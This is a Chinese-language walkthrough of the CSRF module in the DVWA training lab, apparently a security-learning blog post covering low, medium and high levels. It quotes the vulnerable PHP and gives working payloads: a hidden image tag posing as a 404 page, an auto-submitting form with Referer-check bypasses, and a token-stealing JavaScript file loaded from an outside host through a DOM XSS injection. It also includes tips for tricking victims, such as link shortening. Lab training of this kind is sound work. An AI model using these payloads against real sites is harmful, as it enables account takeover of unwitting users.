DVWA CSRF

CSRF(跨站请求伪造)

简介

CSRF(跨站请求伪造),全称为Cross-site request forgery,简单来说,是攻击者利用受害者尚未失效的身份认证信息,诱骗受害者点击恶意链接或含有攻击代码的页面,在受害者不知情的情况下以受害者的身份像服务器发起请求,从而实现非法攻击(改密)。

low

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
//获取两个输入框的密码
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
//查看两次输入的是否一致
if( $pass_new == $pass_conf ) {
// They do!
//如果一致就直接插入数据库
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

通过GET方式获取两次密码,两次密码输入一致的话,就可以直接带入数据中修改密码。

攻击方式:

经过上面的尝试发现可以成功修改账号密码,而且我们发现了URL那里的变化,接下来我们从URL处入手再改一下,首先先重置一下数据库,把密码改回来。

在 C:\phpstudy_pro\WWW 文件夹中建立一个 1.html ,里面写入

1
2
3
4
5
<img src="http://127.0.0.3/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

这样的话,当我们打开 1.html 文件的时候,密码就会被修改成123456,(诱骗受害者点击这个1.html文件,放个诱惑链接)

诱骗链接

1
http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

但是一般有一些智商的都不会点击,所以可以将长链接转为短链接,可以使用https://tool.chinaz.com/tools/dwz.aspx来生成短链接。

1

或者配合xss一块使用

新建一个带有xss攻击的hmtl的页面

1
2
3
4
5
6
7
8
<html>
<head>
<title>XSS&CSRF</title>
</head>
<body>
<script src="http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script>
</body>
</html>

当受害者访问127.0.0.1/xss.hmtl的时候,密码就被修改成了222

hmtl的核心语句就是通过scirpt标签的src属性来记载攻击的url

1
<script src="http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script>

Medium

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
//stripos(str1, str2)检查str2在str1中出现的位置(不区分大小写),如果有返//回True,反之False
//判断Host字段是否出现在referer字段中
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input

$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

由上面的代码可知增加了referer判断

1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

即如果 HTTP_REFERER 和 SERVER_NAME 不是来自同一个域的话就无法进行到循环内部,执行修改密码的操作。

所以我们需要手动伪造referer来执行CSRF攻击

我们要手动制作一个html表单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<meta charset="utf-8">
<title>CSRF</title>
</head>
<body>

<form method="get" id="csrf" action="http://127.0.0.1:8888/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="222">
<input type="hidden" name="password_conf" value="222">
<input type="hidden" name="Change" value="Change">
</form>
<script> document.forms["csrf"].submit(); </script>
</body>
</html>
1
<script> document.forms["csrf"].submit(); </script>

通过自动触发提交id为csrf的表单

使用方法:

1.将上述 html 页面放到服务器的 127.0.0.1 目录下,然后让用户访问自动触发提交然后访问构造好的 payload 地址:

1
http://www.mengnankk.top/127.0.0.1/csrf.html

2.或者将上述html文件命名为127.0.0.1html然后访问

1
http://www.mengnankk.top/127.0.0.1.html

这里有一个小细节,如果目标网站是 http 的话,那么 csrf 的这个 html 页面也要是 http 协议,如果是 https 协议的话 就会失败。

3.因为?后默认当做参数传递,这里因为 html 页面是不能接受参数的,所以随便输入是不影响实际的结果的,利用这个特点来绕过 referer 的检测。

1
http://www.mengnankk.top/csrf.html?127.0.0.1

HIGH

检查一下源代码,防线多了个token

1
2
# 检测用户的 user_token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

相对于 Low 级别,实际上就是增加了一个 token 检测,这样我们 CSRF 攻击的时候必须知道用户的 token 才可以成功。

通关思路:使用 XSS 来获取用户的 token ,然后将 token 放到 CSRF 的请求中。因为 HTML 无法跨域,这里我们尽量使用原生的 JS 发起 HTTP 请求才可以。

1.首先新建csrf.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 首先访问这个页面 来获取 token
var tokenUrl = 'http://127.0.0.1:8888/vulnerabilities/csrf/';

if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}

var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
// 使用正则提取 token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
// 发起 CSRF 请求 将 token 带入
var new_url = 'http://127.0.0.1:8888/vulnerabilities/csrf/?user_token='+token+'&password_new=111&password_conf=111&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();

然后将文件放在外网的服务器上,然后访问网页,直接发起xss测试,这里直接通过 script 标签的 src 来引入外部 js,访问之后此时密码就被更改为 111 了

1
http://127.0.0.1:8888/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://www.sqlsec.com/csrf.js"></script>